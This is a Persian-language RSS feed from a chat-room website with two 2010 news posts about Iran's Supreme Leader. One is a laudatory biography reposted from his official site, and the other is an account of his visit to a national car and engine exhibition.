<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>چت روم فارسی پاتوق سرا&#124; چت &#124; چت فارسی &#124; چت روم &#124; چت رم &#124; دیجی چت &#124; فارسی چت &#124; گپ و چت &#124; چت و گفتگو &#124; روم &#124; گپ &#187; رهبر انقلاب</title>
	<atom:link href="http://www.patoghsara.com/tag/%d8%b1%d9%87%d8%a8%d8%b1-%d8%a7%d9%86%d9%82%d9%84%d8%a7%d8%a8/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.patoghsara.com</link>
	<description>چت روم فارسی پاتوق سرا چت روم ایرانی, بزرگترین چت و چت روم فارسی , بزرگترین اجتماع جوانان ایرانی</description>
	<lastBuildDate>Thu, 19 Jan 2012 09:57:29 +0000</lastBuildDate>
	<language>fa</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>امروز سالروز میلاد رهبر انقلاب است + عکس</title>
		<link>http://www.patoghsara.com/news/964/%d8%a7%d9%85%d8%b1%d9%88%d8%b2-%d8%b3%d8%a7%d9%84%d8%b1%d9%88%d8%b2-%d9%85%db%8c%d9%84%d8%a7%d8%af-%d8%b1%d9%87%d8%a8%d8%b1-%d8%a7%d9%86%d9%82%d9%84%d8%a7%d8%a8-%d8%a7%d8%b3%d8%aa-%d8%b9%da%a9%d8%b3/</link>
		<comments>http://www.patoghsara.com/news/964/%d8%a7%d9%85%d8%b1%d9%88%d8%b2-%d8%b3%d8%a7%d9%84%d8%b1%d9%88%d8%b2-%d9%85%db%8c%d9%84%d8%a7%d8%af-%d8%b1%d9%87%d8%a8%d8%b1-%d8%a7%d9%86%d9%82%d9%84%d8%a7%d8%a8-%d8%a7%d8%b3%d8%aa-%d8%b9%da%a9%d8%b3/#comments</comments>
		<pubDate>Fri, 16 Jul 2010 05:26:35 +0000</pubDate>
		<dc:creator>مرتضی</dc:creator>
				<category><![CDATA[اخبار روز]]></category>
		<category><![CDATA[آیة الله خامنه ای]]></category>
		<category><![CDATA[امروز]]></category>
		<category><![CDATA[تولد]]></category>
		<category><![CDATA[رهبر انقلاب]]></category>
		<category><![CDATA[سالروز]]></category>
		<category><![CDATA[عکس]]></category>
		<category><![CDATA[میلاد]]></category>

		<guid isPermaLink="false">http://www.patoghsara.com/?p=964</guid>
		<description><![CDATA[امروز سالروز میلاد رهبر انقلاب است + عکس ]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter" src="http://www.asriran.com/files/fa/news/1389/4/24/142823_510.jpg" alt="" width="458" height="256" /></p>
<p style="text-align: right;">امروز ۲۴ تیرماه ، سالروز میلاد حضرت آیة الله خامنه ای، رهبر انقلاب است.<br />
زندگینامه ایشان به نقل از سایت www.khamenei.ir به این شرح است.<br />
رهبر عالیقدر حضرت آیت الله سید على خامنه اى فرزند مرحوم حجت الاسلام والمسلمین حاج سید جواد حسینى خامنه‌اى، در ۱۳۱۸ شمسی برابر ۱۳۵۸ قمرى در مشهد مقدس چشم به دنیا گشود. ایشان دومین پسر خانواده هستند. زندگى سید جواد خامنه اى مانند بیشتر روحانیون و مدرسّان علوم دینى، بسیار ساده بود. همسر و فرزندانش نیز معناى عمیق قناعت و ساده زیستى را از او یاد گرفته بودند و با آن خو داشتند.</p>
<p style="text-align: right;"><span style="color: #ff6600;">بقیه در ادامه مطلب &#8230; </span><span id="more-964"></span><br />
رهبر بزرگوار در ضمن بیان نخستین خاطره هاى زندگى خود از وضع و حال زندگى خانواده شان چنین مى‌گویند:</p>
<p style="text-align: right;">«پدرم روحانى معروفى بود، امّا خیلى پارسا و گوشه گیر&#8230; زندگى ما به سختى مى گذشت. من یادم هست شب هایى اتفاق مى افتاد که در منزل ما شام نبود! مادرم با زحمت براى ما شام تهیّه مى کرد و&#8230; آن شام هم نان و کشمش بود.»</p>
<p style="text-align: right;">امّا خانه اى را که خانواده سیّد جواد در آن زندگى مى کردند، رهبر انقلاب چنین توصیف مى کنند:</p>
<p style="text-align: right;">«منزل پدرى من که در آن متولد شده ام، تا چهارـ پنج سالگى من، یک خانه ۶۰ ـ ۷۰ مترى در محّله فقیر نشین مشهد بود که فقط یک اتاق داشت و یک زیر زمین تاریک و خفه اى! هنگامى که براى پدرم میهمان مى آمد (و معمولاً پدر بنا بر این که روحانى و محل مراجعه مردم بود، میهمان داشت) همه ما باید به زیر زمین مى رفتیم تا مهمان برود. بعد عدّه اى که به پدر ارادتى داشتند، زمین کوچکى را کنار این منزل خریده به آن اضافه کردند و ما داراى سه اتاق شدیم.»</p>
<p style="text-align: right;">رهبرانقلاب از دوران کودکى در خانواده اى فقیر امّا روحانى و روحانى پرور و پاک و صمیمی، اینگونه پرورش یافت و از چهار سالگى به همراه برادر بزرگش سید محمد به مکتب سپرده شد تا الفبا و قرآن را یاد بگیرند. سپس، دو برادر را در مدرسه تازه تأسیس اسلامى «دارالتعّلیم دیانتى» ثبت نام کردند و این دو دوران تحصیل ابتدایى را در آن مدرسه گذراندند.<br />
در حوزه علمیه</p>
<p style="text-align: right;">ایشان از دوره دبیرستان، خواندن «جامع المقدمات» و صرف و نحو را آغاز کرده بود. سپس از مدرسه جدید وارد حوزه علمیه شد و نزد پدر و دیگر اساتید وقت ادبیات و مقدمات را خواند.</p>
<p style="text-align: right;">درباره انگیزه ورود به حوزه علمیه و انتخاب راه روحانیت مى گویند: «عامل و موجب اصلى در انتخاب این راه نورانى روحانیت پدرم بودند و مادرم نیز علاقه مند و مشوّق بودند».</p>
<p style="text-align: right;">ایشان کتب ادبى ار قبیل «جامع المقدمات»، «سیوطى»، «مغنى» را نزد مدرّسان مدرسه «سلیمان خان» و «نوّاب» خواند و پدرش نیز بر درس فرزندانش نظارت مى کرد. کتاب «معالم» را نیز در همان دوره خواند. سپس «شرایع الاسلام» و «شرح لمعه» را در محضر پدرش و مقدارى را نزد مرحوم «آقا میرزا مدرس یزدى» و رسائل و مکاسب را در حضور مرحوم حاج شیخ هاشم قزوینى و بقیه دروس سطح فقه و اصول را نزد پدرش خواند و دوره مقدمات و سطح را بطور کم سابقه و شگفت انگیزى در پنچ سال و نیم به اتمام رساند. پدرش مرحوم سید جواد در تمام این مراحل نقش مهّمى در پیشرفت این فرزند برومند داشت. رهبر بزرگوار انقلاب، در زمینه منطق و فلسفه، کتاب منظومه سبزوار را ابتدا از «مرحوم آیت الله میرزا جواد آقا تهرانى» و بعدها نزد مرحوم «شیخ رضا ایسى» خواندند.<br />
در حوزه علمیه نجف اشرف</p>
<p style="text-align: right;">آیت الله خامنه اى که از هیجده سالگى در مشهد درس خارج فقه و اصول را نزد مرجع بزرگ مرحوم آیت الله العظمى میلانى شروع کرده بودند. در سال ۱۳۳۶ به قصد زیارت عتبات عالیات، عازم نجف اشرف شدند و با مشاهده و شرکت در درسهاى خارج مجتهدان بزرگ حوزه نجف از جمله مرحوم سید محسن حکیم، سید محمود شاهرودى، میرزا باقر زنجانى، سید یحیى یزدى، و میرزا حسن بجنوردى، اوضاع درس و تدریس و تحقیق آن حوزه علمیه را پسندیدند و ایشان را از قصد خود آگاه ساختند. ولى پدر موافقت نکرد. پس از مدّتى ایشان به مشهد باز گشتند.<br />
در حوزه علمیه قم</p>
<p style="text-align: right;">آیت الله خامنه اى از سال ۱۳۳۷ تا ۱۳۴۳ در حوزه علمیه قم به تحصیلات عالى در فقه و اصول و فلسفه، مشغول شدند و از محضر بزرگان چون مرحوم آیت الله العظمى بروجردى، امام خمینى، شیخ مرتضى حائرى یزدى وعلـّامه طباطبائى استفاده کردند. در سال ۱۳۴۳، از مکاتباتى که رهبر انقلاب با پدرشان داشتند، متوجّه شدند که یک چشم پدر به علت «آب مروارید» نابینا شده است، بسیار غمگین شدند و بین ماندن در قم و ادامه تحصیل در حوزه عظیم آن و رفتن به مشهد و مواظبت از پدر در تردید ماندند. آیت الله خامنه اى به این نتیجـه رسیدند که به خاطر خدا از قــم به مشهد هجرت کنند واز پدرشان مواظبت نمایند. ایشان در این مـورد مى گویند:</p>
<p style="text-align: right;">«به مشهد رفتم و خداى متعال توفیقات زیادى به ما داد. به هر حال به دنبال کار و وظیفه خود رفتم. اگر بنده در زندگى توفیقى داشتم، اعتقادم این است که ناشى از همان بّرى «نیکى» است که به پدر، بلکه به پدر و مادر انجام داده ام». آیت الله خامنه اى بر سر این دو راهى، راه درست را انتخاب کردند. بعضى از اساتید و آشنایان افسوس مى خوردند که چرا ایشان به این زودى حوزه علمیه قم را ترک کردند، اگر مى ماندند در آینده چنین و چنان مى شدند!&#8230; امّا آینده نشان داد که انتخاب ایشان درست بوده و دست تقدیر الهى براى ایشان سر نوشتى دیگر و بهتر و والاتر از محاسبات آنان، رقم زده بود. آیا کسى تصّور مى کرد که در آن روز جوان عالم پراستعداد ۲۵ ساله، که براى رضاى خداوند و خدمت به پدر و مادرش از قم به مشهد مى رفت، ۲۵ سال بعد، به مقام والاى ولایت امر مسلمین خواهد رسید؟! ایشان در مشهد از ادامه درس دست برنداشتند و جز ایام تعطیل یا مبازره و زندان و مسافرت، به طور رسمى تحصیلات فقهى و اصول خود را تا سال ۱۳۴۷ در محضر اساتید بزرگ حوزه مشهد بویژه آیت الله میلانى ادامه دادند. همچنین ازسال ۱۳۴۳ که در مشهد ماندگار شدند در کنار تحصیل و مراقبت از پدر پیر و بیمار، به تدریس کتب فقه و اصول و معارف دینى به طلـّاب جوان و دانشجویان نیز مى پرداختند.<br />
مبارزات سیاسى</p>
<p style="text-align: right;">آیت الله خامنه اى به گفته خویش «از شاگردان فقهى، اصولى، سیاسى و انقلابى امام خمینى (ره) هستند» امـّا نخستین جرقـّه هاى سیاسى و مبارزاتى و دشمنى با طاغوت را مجاهد بزرگ و شهید راه اسلام شهید «سید مجتبى نوّاب صفوى» در ذهن ایشان زده است، هنگامیکه نوّاب صفوى با عدّه اى از فدائیان اسلام در سال ۳۱ به مشهد رفته در مدرسه سلیمان خان، سخنرانى پر هیجان و بیدار کننده اى در موضوع احیاى اسلام و حاکمیت احکام الهى، و فریب و نیرنگ شاه و انگلیسى و دروغگویى آنان به ملـّت ایران، ایراد کردند. آیت الله خامنه اى آن روز از طـّلاب جوان مدرسه سلیمان خان بودند، به شدّت تحت تأثیر سخنان آتشین نوّاب واقع شدند. ایشان مى گویند: «همان وقت جرقه هاى انگیزش انقلاب اسلامى به وسیله نوّاب صفوى در من به وجود آمده و هیچ شکى ندارم که اولین آتش را مرحوم نوّاب در دل ما روشن کرد».<br />
همراه با نهضت امام خمینى (قدس سره)</p>
<p style="text-align: right;">آیت الله خامنه اى از سال ۱۳۴۱ که در قم حضورداشتند و حرکت انقلابى واعتراض آمیز امام خمینى علیه سیاستهاى ضد اسلامى و آمریکا پسند محمد رضا شاه پهلوى، آغاز شد، وارد میدان مبارزات سیاسى شدند و شانزده سال تمام با وجود فراز و نشیب هاى فراوان و شکنجه ها و تعبیدها و زندان ها مبارزه کردند و در این مسیر ازهیچ خطرى نترسیدند. نخستین بار در محرّم سال ۱۳۸۳ از سوى امام خمینى (قدس سره) مأموریت یافتند که پیام ایشان را به آیت الله میلانى و علماى خراسان در خصوص چگونگى برنامه هاى تبلیغاتى روحانیون در ماه محرّم و افشاگرى علیه سیاست هاى آمریکایى شاه و اوضاع ایران و حوادث قم، برسانند. ایشان این مأموریت را انجام دادند و خود نیز براى تبلیغ، عازم شهر بیرجند شدند و در راستاى پیام امام خمینى، به تبلیغ و افشاگرى علیه رژیم پهلوى و آمریکا پرداختند. بدین خاطر در ۹ محرّم «۱۲ خرداد ۱۳۴۲» دستگیر و یک شب بازداشت شدند و فرداى آن به شرط اینکه منبر نروند و تحت نظر باشند آزاد شدند. با پیش آمدن حادثه خونین ۱۵خرداد، باز هم ایشان را از بیرجند به مشهد آورده، تحویل بازداشتگاه نظامى دادند و ده روز در آنجا با سخت ترین شرایط و شکنجه و آزارها زندانى شدند.<br />
دوّمین بازداشت</p>
<p style="text-align: right;">در بهمن ۱۳۴۲ &#8211; رمضان ۱۳۸۳- آیت الله خامنه اى با عدّه اى از دوستانشان براساس برنامه حساب شده اى به مقصد کرمان حرکت کردند. پس از دو ـ سه روز توقف در کرمان و سخنرانى و منبر و دیدار با علما و طلـّاب آن شهر، عازم زاهدان شدند. سخنرانى ها و افشاگرى هاى پرشور ایشان بویژه درایـّام ششم بهمن ـ سالگرد انتخابات و رفراندوم قلـّابى شاه ـ مورد استقبال مردم قرار گرفت. در روزپانزدهم رمضان که مصادف با میلاد امام حسن (ع) بود، صراحت و شجاعت و شور انقلابى ایشان در افشاگرى سیاستهاى شیطانى و آمریکایى رژیم پهلوى، به اوج رسید و ساواک شبانه ایشان را دستگیر و با هواپیما روانه تهران کرد. رهبر بزرگوار، حدود دو ماه ـ به صورت انفرادى ـ در زندان قزل قلعه زندانى شدند و انواع اهانت ها و شکنجه ها را تحمّل کردند.<br />
سوّمین و چهارمین بازداشت</p>
<p style="text-align: right;">کلاسهاى تفسیر و حدیث و اندیشه اسلامى ایشان در مشهد و تهران با استقبال کم نظیر جوانان پرشور و انقلابى مواجه شد. همین فعالیت ها سبب عصبانیت ساواک شد و ایشان را مورد تعقیب قرار دادند. بدین خاطر در سال ۱۳۴۵ در تهران مخفیانه زندگى مى کردند و یک سال بعد ـ ۱۳۴۶ـ دستگیر و محبوس شدند. همین فعالیّت هاى علمى و برگزارى جلسات و تدریس و روشنگرى عالمانه و مصلحانه بود که موجب شد آن بزرگوار بار دیگر توسط ساواک جهنّمى پهلوى در سال ۱۳۴۹ نیز دستگیر و زندانى گردند.<br />
پنجمین بازداشت</p>
<p style="text-align: right;">حضرت آیت الله خامنه اى «مد ظله» درباره پنجمین بازداشت خویش توسط ساواک مى نویسد:<br />
«از سال ۴۸ زمینه حرکت مسلحانه در ایران محسوس بود. حساسیّت و شدّت عمل دستگاههاى جارى رژیم پیشین نیز نسبت به من، که به قرائن دریافته بودند چنین جریانى نمى تواند با افرادى از قبیل من در ارتباط نباشد، افزایش یافت. سال ۵۰ مجدّداً و براى پنجمین بار به زندان افتادم. برخوردهاى خشونت آمیز ساواک در زندان آشکارا نشان مى داد که دستگاه از پیوستن جریان هاى مبارزه مسلـّحانه به کانون هاى تفـّکر اسلامى به شدّت بیمناک است و نمى تواند بپذیرد که فعالیّـت هاى فکرى و تبلیغاتى من در مشهد و تهران از آن جریان ها بیگانه و به کنار است. پس از آزادى، دایره درسهاى عمومى تفسیر و کلاسهاى مخفى ایدئولوژى و&#8230; گسترش بیشترى پیدا کرد».<br />
بازداشت ششم</p>
<p style="text-align: right;">در بین سالهاى ۱۳۵۰ـ۱۳۵۳ درسهاى تفسیر و ایدئولوژى آیت الله خامنه اى در سه مسجد «کرامت» ، «امام حسن» و «میرزا جعفر» مشهد مقدس تشکیل مىشد و هزاران نفر ازمردم مشتاق بویژه جوانان آگاه و روشنفکر و طلـّاب انقلابى و معتقد را به این سه مرکز مى کشاند و با تفکّرات اصیل اسلامى آشنا مى ساخت.<br />
درس نهج البلاغـه ایشان از شور و حال دیگـرى برخوردار بود و در جزوه هاى پلى کپى شده تحت عنوان: «پرتوى از نهج البلاغه» تکثیر و دست به دست مى گشت. طلـّاب جوان و انقلابى که درس حقیقت و مبارزه را از محضر ایشان مى آموختند، با عزیمت به شهرهاى دور و نزدیکِ ایران، افکار مردم را با آن حقایق نورانى آشنا و زمینه را براى انقلاب بزرگ اسلامى آماده مى ساختند.<br />
این فعالیـّت ها موجب شد که در دى ماه ۱۳۵۳ ساواک بى رحمانه به خانه آیت الله خامنه اى در مشهد هجوم برده، ایشان را دستگیر و بسیارى از یادداشت ها و نوشته هایشان را ضبط کنند. این ششمین و سخت ترین بازداشت ایشان بود و تا پاییز ۱۳۵۴ در زندان کمیته مشترک شهربانى زندان بودند. در این مدت در سلولى با سخت ترین شرایط نگه داشته شدند.<br />
سختى هایى که ایشان در این بازداشت تحمّل کردند، به تعبیر خودشان «فقط براى آنان که آن شرایط را دیده اند، قابل فهم است». پس از آزادى از زندان، به مشهد مقدس برگشتند و باز هم همان برنامه و تلاش هاى علمى و تحقیقى و انقلابى ادامه داشت. البته دیگر امکان تشکیل کلاسهاى سابق را به ایشان ندادند.<br />
در تبعید</p>
<p style="text-align: right;">رژیم جنایتکار پهلوى در اواخر سال ۱۳۵۶، آیت الله خامنه اى را دستگیر و براى مدّت سه سال به ایرانشهر تبعید کرد. در اواسط سال ۱۳۵۷ با اوجگیرى مبارزات عموم مردم مسلمان و انقلابى ایران، ایشان از تبعیدگاه آزاد شده به مشهد مقدس بازگشتند و در صفوف مقدم مبارزات مردمى علیه رژیم سفـّاک پهلوى قرار گرفتند و پس از پانزده سال مبارزه مردانه و مجاهدت و مقاومت در راه خدا و تحمّل آن همه سختى و تلخى، ثمره شیرین قیام و مقاومت و مبارزه؛ یعنى پیروزى انقلاب کبیر اسلامى ایران و سقوط خفـّت بار حکومتِ سراسر ننگ و ظالمانه پهلوى، و برقرارى حاکمیت اسلام در این سرزمین را دیدند.<br />
در آستانه پیروزى</p>
<p style="text-align: right;">درآستانه پیروزى انقلاب اسلامى، پیش از بازگشت امام خمینى از پاریس به تهران، «شوراى انقلاب اسلامى» با شرکت افراد و شخصیت هاى مبارزى همچون شهید مطهرى، شهید بهشتى، هاشمى رفسنجانى و&#8230; از سوى امام خمینى در ایران تشکیل گردید، آیت الله خامنه اى نیز به فرمان امام بزرگوار به عضویت این شورا درآمد. پیام امام توسط شهید مطهرى «ره» به ایشان ابلاغ گردید و با دریافت پیام رهبر کبیر انقلاب، از مشهد به تهران آمدند.<br />
پس از پیروزى</p>
<p style="text-align: right;">آیت الله خامنه اى پس از پیروزى انقلاب اسلامى نیز همچنان پرشور و پرتلاش به فعالیّت هاى ارزشمند اسلامى و در جهت نزدیکتر شدن به اهداف انقلاب اسلامى پرداختند که همه در نوع خود و در زمان خود بى نظیر و بسیار مهّم بودند که در این مختصر فقط به ذکر رؤوس آنها مى پردازیم:<br />
٭ پایه گذارى «حزب جمهورى اسلامى» با همکارى و همفکرى علماى مبارز و هم رزم خود: شهید بهشتى، شهید باهنر، هاشمى رفسنجانى و&#8230; دراسفند ۱۳۵۷٫<br />
٭ معاونت وزارت دفاع در سال ۱۳۵۸٫<br />
٭ سرپرستى سپاه پاسداران انقلاب اسلامى، ۱۳۵۸٫<br />
٭ امام جمعه تهران، ۱۳۵۸٫<br />
٭ نماینده امام خمینی«قدّس سرّه» در شوراى عالى دفاع ، ۱۳۵۹٫<br />
٭ نماینده مردم تهران در مجلس شوراى اسلامى، ۱۳۵۸٫<br />
٭ حضور فعّال و مخلصانه در لباس رزم در جبهه هاى دفاع مقدس، در سال ۱۳۵۹ با شروع جنگ تحمیلى عراق علیه ایران و تجاوز ارتش متجاوز صّدام به مرزهاى ایران؛ با تجهیزات و تحریکات قدرت هاى شیطانى و بزرگ ازجمله آمریکا و شوروى سابق.<br />
٭ ترور نافرجام ایشان توسط منافقین در ششم تیرماه ۱۳۶۰ در مسجد ابوذر تهران.<br />
٭ ریاست جمهورى؛ به دنبال شهادت محمد على رجایى دومّین رئیس جمهور ایران، آیت الله خامنه اى در مهر ماه ۱۳۶۰ با کسب بیش از شانزده میلیون رأى مردمى و حکم تنفیذ امام خمینى (قدس سره) به مقام ریاست جمهورى ایران اسلامى برگزیده شدند. همچنین از سال ۱۳۶۴ تا ۱۳۶۸ براى دوّمین بار به این مقام و مسؤولیت انتخاب شدند.<br />
٭ ریاست شوراى انقلاب فرهنگ، ۱۳۶۰٫<br />
٭ ریاست مجمع تشخیص مصلحت نظام، ۱۳۶۶٫<br />
٭ ریاست شوراى بازنگرى قانون اساسى، ۱۳۶۸٫<br />
٭ رهبرى و ولایت امّت، که از سال ۱۳۶۸، روز چهاردهم خرداد پس از رحلت رهبر کبیرانقلاب امام خمینى (قدس سره) توسط مجلس خبرگان رهبرى به این مقام والا و مسؤولیت عظیم انتخاب شدند، و چه انتخاب مبارک و درستى بود که پس از رحلت امام راحل، با شایستگى تمام توانستند امّت مسلمان ایران، بلکه مسلمانان جهان را رهبرى نمایند.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.patoghsara.com/news/964/%d8%a7%d9%85%d8%b1%d9%88%d8%b2-%d8%b3%d8%a7%d9%84%d8%b1%d9%88%d8%b2-%d9%85%db%8c%d9%84%d8%a7%d8%af-%d8%b1%d9%87%d8%a8%d8%b1-%d8%a7%d9%86%d9%82%d9%84%d8%a7%d8%a8-%d8%a7%d8%b3%d8%aa-%d8%b9%da%a9%d8%b3/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>رهبر انقلاب: نام خودروی مینیاتور را عوض کنید !!</title>
		<link>http://www.patoghsara.com/news/692/%d8%b1%d9%87%d8%a8%d8%b1-%d8%a7%d9%86%d9%82%d9%84%d8%a7%d8%a8-%d9%86%d8%a7%d9%85-%d8%ae%d9%88%d8%af%d8%b1%d9%88%db%8c-%d9%85%db%8c%d9%86%db%8c%d8%a7%d8%aa%d9%88%d8%b1-%d8%b1%d8%a7-%d8%b9%d9%88%d8%b6/</link>
		<comments>http://www.patoghsara.com/news/692/%d8%b1%d9%87%d8%a8%d8%b1-%d8%a7%d9%86%d9%82%d9%84%d8%a7%d8%a8-%d9%86%d8%a7%d9%85-%d8%ae%d9%88%d8%af%d8%b1%d9%88%db%8c-%d9%85%db%8c%d9%86%db%8c%d8%a7%d8%aa%d9%88%d8%b1-%d8%b1%d8%a7-%d8%b9%d9%88%d8%b6/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 17:11:17 +0000</pubDate>
		<dc:creator>مرتضی</dc:creator>
				<category><![CDATA[اخبار روز]]></category>
		<category><![CDATA[خودرو ملی]]></category>
		<category><![CDATA[خودروی مینیاتور]]></category>
		<category><![CDATA[رهبر انقلاب]]></category>
		<category><![CDATA[مدیر عامل سایپا]]></category>
		<category><![CDATA[مقام معظم رهبری]]></category>
		<category><![CDATA[موتور ملی]]></category>
		<category><![CDATA[مینیاتور]]></category>
		<category><![CDATA[نمایشگاه صنعت خودرو]]></category>

		<guid isPermaLink="false">http://www.patoghsara.com/?p=692</guid>
		<description><![CDATA[رهبر انقلاب: نام خودروی مینیاتور را عوض کنید !!]]></description>
			<content:encoded><![CDATA[<p>حاشیه‌های خواندنی بازدید از نمایشگاه صنعت خودرو<br />
رهبر ایستادند و گفتند: «چرا مینیاتور؟» آقایی که داشت توضیح می‌داد گفت مینیاتور اسم نقاشی‌های ایرانی است و همه می‌دانند که ما منظور دیگری نداریم و چه و چه. رهبر خیلی با طمأنینه گوش دادند و گفتند: «این کلمه در زبان فرانسوی هم استفاده می‌شود. کلماتی هم وجود دارد که مال ماست اما آنقدر آنجا استفاده شده که دیگر خارجی محسوب می‌شود. حالا چرا مینیاتور؟ یک اسم دیگر انتخاب کنید که حرف و حدیث نداشته باشد.» آن مسئول خواست زبلی کند و اسم ماشین را از زبان رهبر بگیرد؛ پرسید: به نظر شما اسمش را چی بگذاریم؟ رهبر هم گفتند: «نمی‌دانم چی بگذارید ولی مینیاتور نه!»<br />
سایت دفتر حفظ و نشر آثار مقام معظم رهبری حاشیه های خواندنی بازدید رهبر انقلاب از نمایشگاه پیشرفت های صنعت خودروسازی ملی را منتشر کرده است:<br />
<span style="color: #ff6600;">بقیه در ادامه مطلب &#8230;</span><span id="more-692"></span><br />
وقتی رسیدیم سر قرار ساعت از ۶ صبح گذشته بود و هوا هنوز تاریک بود. چند نفری زودتر آمده بودند و کت و کاپشنشان را سفت و محکم بسته بودند تا سردشان نشود. وقتی سوار مینی بوس شدیم برای حرکت، فهمیدیم رهبر انقلاب قرار است بروند برای بازدید یک کارخانه.</p>
<p>بین آن همه سالن بزرگ و عریض و طویل مسیرمان ختم شد به سالن کوچکی که فهمیدیم سالن تولید موتور ملی است. موتور پایه گازسوزی که طراحی آن از پایه، تولید و مالکیتش برای ایران است.</p>
<p>یک طرف سالن موتورها وقطعات تولیدی جدید چیده شده بود و یک طرف دیگر هم ماشین‌های ساخت داخل؛ هم ماشین‌های سایپا هم ماشین‌های ایران خودرو. ته سالن هم که خط تولید موتور ملی بود. یک نفر داشت تلاش می‌کرد وانت‌پراید را از بین ماشین‌ها حذف کند و از سالن ببرد بیرون. می‌گفت رنگ قرمز این وانت توی ذوق می زند! یک نفر دیگر هم داشت توضیح می‌داد که می شد برنامه را در سالن بسیار بزرگی همین بغل انداخت، اما آن سالن ۴۰ درصد مشارکت خارجی داشت. رهبر دنبال این نیستند تا چیزی را افتتاح کنند، این یک حرکت نمادین برای اهمیت به صنعت بومی در سال جدید است.</p>
<p>همه ماشینها و قطعاتی که داخل سالن بود، کار مهندسان داخلی بود.</p>
<p>قبل از رسیدن رهبر انقلاب جمعمان جمع شد؛ وزیر صنایع و معادن، وزیر کار، وزیر دفاع، وزیر تعاو ، آقای رویانیان، میر عامل ایران خودرو، میر عامل سایپا و مدیران ارشد صنایع مرتبط و البته یک چهره‌ی آشنا برای خودم، مهندس میرسلیم، استاد دانشگاه خودمان، با آن کت و شلوار روشن و بدون یقه، کلاه بافتنی و کفش‌های اسپرت که چهره‌اش را متفاوت می‌کرد. میرسلیم در دانشگاه صنعتی امیر کبیر معروف بود به سختگیر و پر کار بودن. با اینکه دکتری نداشت ولی با مدرک فوق لیسانس به دانشجوهای تحصیلات تکمیلی درس می‌داد. بعدتر فهمیدیم که ناظر ارشد طراحی و تولید موتور ملی است و البته طراحی و ساخت اولین موتور دیزل هم زیر نظر مستقیم او انجام شده است.</p>
<p>جماعت بیرون سالن به شکل «ال» ایستاده‌اند برای استقبال از رهبر. ایشان که آمدند اولین نفر صف وزیر صنایع و معدن ایستاده بود. همه سلام کردند و بعضی تبریک سال نو گفتند. وزیر دفاع ولی احترام نظامی گذاشت و وقتی رهبر دستش را دراز کرد، دست داد. رهبر با میرسلیم گرم‌تر از بقیه سلام و علیک کردند. در دوران ریاست جمهوری هم میرسلیم روابط خوب ونزدیکی با رهبر داشت.</p>
<p>رهبر که پا داخل سالن گذاشتند مهندس‌ها از این طرف و آن طرف پیدا می‌شدند و می‌آمدند دست رهبر را می‌بوسیدند. تعدادشان کم‌کم زیاد شد. یک نفر آرام در گوش یکی از محافظ ها گفت وزرا را بیاورید جلوتر. تیم حفاظت هم به شکل عجیبی سخت گیری‌های برنامه‌های قبلی را نداشتند.</p>
<p>همه رفتند داخل محوطه کوچکی که در همان سالن صندلی چیده بودند. کارگرهای خط تولید موتور ملی باید در خط می ماندند و نمی توانستند بیایند داخل. بیشتر کسانی که آنجا بودند مهندسان ارشد بودند که با آمدن رهبر بلند شدند و شعار دادند. کارگرهایی که بیرون بودند سعی می کردند سرک بکشند و رهبرشان را ببینند. یکی‌شان از بین دستگاههای خط تولید یک راه و روزنه‌ای پیدا کرده بود و دستش را روی دهانش گذاشته بود و با هیجان نگاه می‌کرد.</p>
<p>همان اول جلسه قبل از اینکه یک مهندس فوق لیسانس قرآن بخواند، جاها پرشد. مهندس میرسلیم جامانده بود. یک نفر یک صندلی را روی دست گرفت و گذاشت پشت سر رهبر. میرسلیم نشست آنجا. بعد وزیر صنایع و معادن خیر مقدم گفت و کلی آمار و ارقام از سالهای گذشته تا حالا داد.</p>
<p>بعد از وزیر، مجری از آقای میرسلیم خواست گزارشی از وضعیت موتور ملی بدهد، آن‌هم در ۱۰ دقیقه.</p>
<p>آقای میرسلیم که بلند شد رهبر آرام گفتند شما هرچقدر که لازم است توضیح بفرمایید. به آن ۱۰ دقیقه خیلی توجه نکنید. میرسلیم توضیح داد فعالیت‌های تولید موتور در دو بخش صنایع خودرویی و صنایع سنگین متمرکز شد که در صنعت خودرو به موتور ملی منجر شد و موتور دیزل هم برای صنایع سنگین مثل راه آهن، صنایع دریایی و صنایع نیروگاهی طراحی و ساخته شد.</p>
<p>قبل از شروع جلسه یکی از همکارهای میرسلیم از او پرسید استاد دیشب توانستید بخوابید؟ میرسلیم لبخند زد و گفت یک چرتی زدم بعد از آماده کردن گزارش!</p>
<p>با حساب اینکه موتور ملی قبل از این رونمایی شده بود، اصلی ترین موضوع جلسه غیر از توجه رهبر انقلاب به صنعت آن هم در ایام نوروز، رونمایی از موتور دیزل ساخت داخل بود.</p>
<p>بعد از گزارش‌ها بازدید از نمایشگاه شروع شد. در قسمت اول استفاده از فناوری نانو در تولید قطعات بود. که باعث سبک شدن، ارزان شدن، شفاف شدن، ضد خش شدن و حتی ضد رطوبت شدن قطعات بود. وقتی مدیر عامل ساپکو توضیحاتش تمام شد، رهبر پرسیدند: «از مراکز دیگری که در حوزه نانو تکنولوژی کار می‌کنند هم کمک گرفتید؟» و آنها جواب دادند که کمک گرفته‌اند.</p>
<p>شانسی آورده بودیم ما و آن اینکه توانستیم برویم پشت میزهایی که رویشان قطعات چیده شده بود و از ازدحام جمعیت همراه رهبر و سخت گیری‌های محافظ ها راحت شویم. یکی از عکاسها می‌گفت هیچ وقت اینقدر راحت و متنوع عکس نگرفته بودم.</p>
<p>وسط این قطعات یک قطعه را به رهبر نشان دادند و گفتند این همان توربو شارژ است که آقای میرسلیم اسم «پر خوران» را به عنوان معادل فارسی رویش گذاشتند.</p>
<p>رهبر نگاهی به آقای میرسلیم کردند و گفتند: «خیلی خوب».</p>
